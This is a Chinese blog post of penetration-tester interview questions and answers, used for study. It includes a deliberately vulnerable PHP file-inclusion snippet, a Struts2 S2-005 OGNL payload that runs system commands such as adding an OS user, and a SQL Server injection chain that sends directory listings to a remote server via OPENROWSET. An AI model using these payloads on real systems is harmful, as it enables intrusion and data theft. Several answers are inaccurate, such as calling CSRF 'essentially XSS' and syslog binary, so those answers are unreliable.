写点什么

【网络安全】渗透工程师面试题总结大全

发布于: 17 小时前

前言

总结了一些面试题,大家看看吧!


1.如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS?

必须是 self xss + csrf +ssrf 到 getshel

2.php 的 LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。常见包含函数有:include()、require()区别:include 是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行 require 是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

<?phpinclude($_GET['f']);?>
复制代码

3.CSRF 漏洞的本质是什么?

本质就是 xss

4.你都了解哪些 java 框架?

spring 和 struts2 框架

5.ibats 的参数化查询能不能有效的控制 sql 注入?有没有危险的方法可以造成 sql 注入?

SQL 注入主要的是因为文本框的内容和 SQL 连接以后会改变 SQL 的语义,例如:文本框包含单引号什么的参数化查询就可以将这些内容独立作为参数,本身的语句不会改变。

【面试题获取】



【面试题获取】

6.说说两次 struts2 漏洞的原理?

Struts2 的核心是使用的 webwork 框架,处理 action 时通过调用底层的 getter/setter 方法来处理 http 的参数,它将每个 http 参数声明为一个 ONGL(这里是 ONGL 的介绍)语句。

当我们提交一个 http 参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
复制代码

ONGL 将它转换为:

action.getUser().getAddress().setCity("Bishkek")action.getUser().setFavoriteDrink("kumys")
复制代码

这是通过 ParametersInterceptor(参数过滤器)来执行的,使用用户提供的 HTTP 参数调用 ValueStack.setValue()。为了防范篡改服务器端对象,XWork 的 ParametersInterceptor 不允许参数名中出现“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻击者就可以绕过保护,修改保护 Java 方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
复制代码

转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
复制代码

OGNL 处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将 web 程序关闭类似的可以执行java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在 URL 中用%20 替换空格,%2F 替换
复制代码

/)只要有权限就可以执行任何 DOS 命令

7.ongl 在这个 payload 中起了什么作用?

Ognl 表达式语言,Struts 标签默认支持的表达式语言,必须配置 Struts 标签用,不能离开 Struts 标签直接使用,就是说 Ognl 必须在 Struts 中使用

8.\u0023 是什么字符的 16 进制编码?为什么在 payload 中要用他?

#,在 S2-005 中可通过\u0023 绕过过滤执行

9.xss filter 在 java 程序的哪里设置?

在 web.xml 里面配置

10.说下 java 的类反射在安全上可能存在哪些问题?

可能会导致 JAVA 反序化漏洞

11.tomcat 要做哪些安全加固?

升级到最新稳定版从监听端口上加固仅在本地监听

如果 Tomcat 不需要对外提供服务,则监听在本地回环,前面放 Nginx。如果需要对外提供访问,比如一个 Nginx 挂多个 Tomcat,那么在服务器上用 iptables 只允许负载均衡器的 IP 来访问关闭 8009 端口现在我们一般不用 Apache 通过 AJP 协议来调用 Tomcat 了,所以 AJP 端口可以关闭。8005 端口查看端口占用情况自定义错误页面,隐藏 Tomcat 信息编辑 conf/web.xml,在标签上添加以下内容:禁用 Tomcat 管理页面删除 webapps 目录下 Tomcat 原有的所有内容删除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 这两个文件用普通用户启动 Tomcat 禁止 Tomcat 列目录如果 tomcat 重启的话,webapps 下,你删除的后台会不会又回来?你只是删除了后台,并没有删除 webaspps 下 war 包

12.mysql 数据库默认有哪些库?说出库的名字?

1.mysql 库,存储用户等信息 2.information_schema,存储表、锁等性能信息 3.test,mysql 自建测试库 4.performance_schema,互斥锁等信息(5.6 之前需要手动开启,从 5.6 开始默认开启)

13.mysql 的用户名密码是存放在那张表里面?mysql 密码采用哪种加密方式?

mysql.user 表 MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之后的版本都是

MySQLSHA1 加密

MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41 位字符串,其中**是不加入实际的密码运算中,通过观察在很多用户中都携带了"",在实际破解过程中去掉"*",也就是说 MySQLSHA1 加密的密码的实际位数是 40 位。

14.mysql 表权限里面,除了增删改查,文件读写,还有哪些权限?

排序,查询,索引等

15.mysql 安全要如何做?

Mysql 账户权限安全 Mysql 数据的网络安全配置密码策略安全 Mysql 日志 Mysql 数据库服务所在主机安全配置部署 SQL 注入检测、防御模块 mysqld 安全相关启动选项 mysql 备份策略

16.sqlserver public 权限要如何提权?

注入点执行

aaa.com x.asp?id=123;create table %23%23dhtemq (list int not nullidentity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2nvarchar(500))
复制代码

注入点执行

aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2)exec master.dbo.xp_dirtree [d:/] ,1,1;--
复制代码

注入点执行

aaa.com x.asp?id=123;insert into OPENROWSET('sqloledb','server=xx.xx.xx.xx,1433;InitialCatalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2from dhtemq') select dirtree,num1,num2 from ##dhtemqxx.xx.xx.xx 执行select * from dhtemq--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表 #-----为本地临时表 ##----为全局临时表 create table ##nonamed( dir ntext, num int ) --调用存储过程把执行回来的数据存到临时表里面 insert ##nonamed execute master..xp_dirtree 'c:/',1 --然后采用 openrowset 函数把临时表的数据导到本地 MSSQL 的 dirtree表里面了 insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select *from Northwind.dbo.dirtree')  select * from ##nonamed
复制代码

以上方法,也就是说 public 可以遍历用户服务器的目录在 NBSI 中,只要把临时表名加前加 ##就可以了,但要注意 URL 转码,即写成:%23%23nonamed 就 OK 了!

17.简述 Linux 系统安全加固需要做哪些方面?

1.密码安全策略 2.关闭不必要的端口和服务 3.文件权限的设置等

18.你使用什么工具来判断系统是否存在后门?

pchunter 攻击查看进程和服务

19.Linux 的 Selinux 是什么?如何设置 Selinux?

SELinux 是一种安全子系统,它能控制程序只能访问特定文件使用 setup 工具进入图形化关闭搜索或者修改/etc/sysconfig/selinux 文件 SELINUX=disabled 防火墙打开使用 service iptables start 或则/etc/init.d/iptables start

20.iptables 工作在 TCP/IP 模型中的哪层?

网络层

21.syslog 里面都有哪些日志?安装软件的日志去哪找?如何查询 ssh 的登录日志?

cd /var/logless secure
复制代码

22.syslog 可不可以使用 vi 等工具直接查看?是二进制文件吗?

不能,只能使用 cat 之类的命令攻击查看,属于二进制文件

23.DNS 在渗透中的作用?

通过 DNS 可以查询对应的 IP 主机名,也可以查询出是否存在域传输漏洞

网络安全渗透开发发向是所有安全人所追求的目标,希望这篇文章能帮助到需要的人

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
【网络安全】渗透工程师面试题总结大全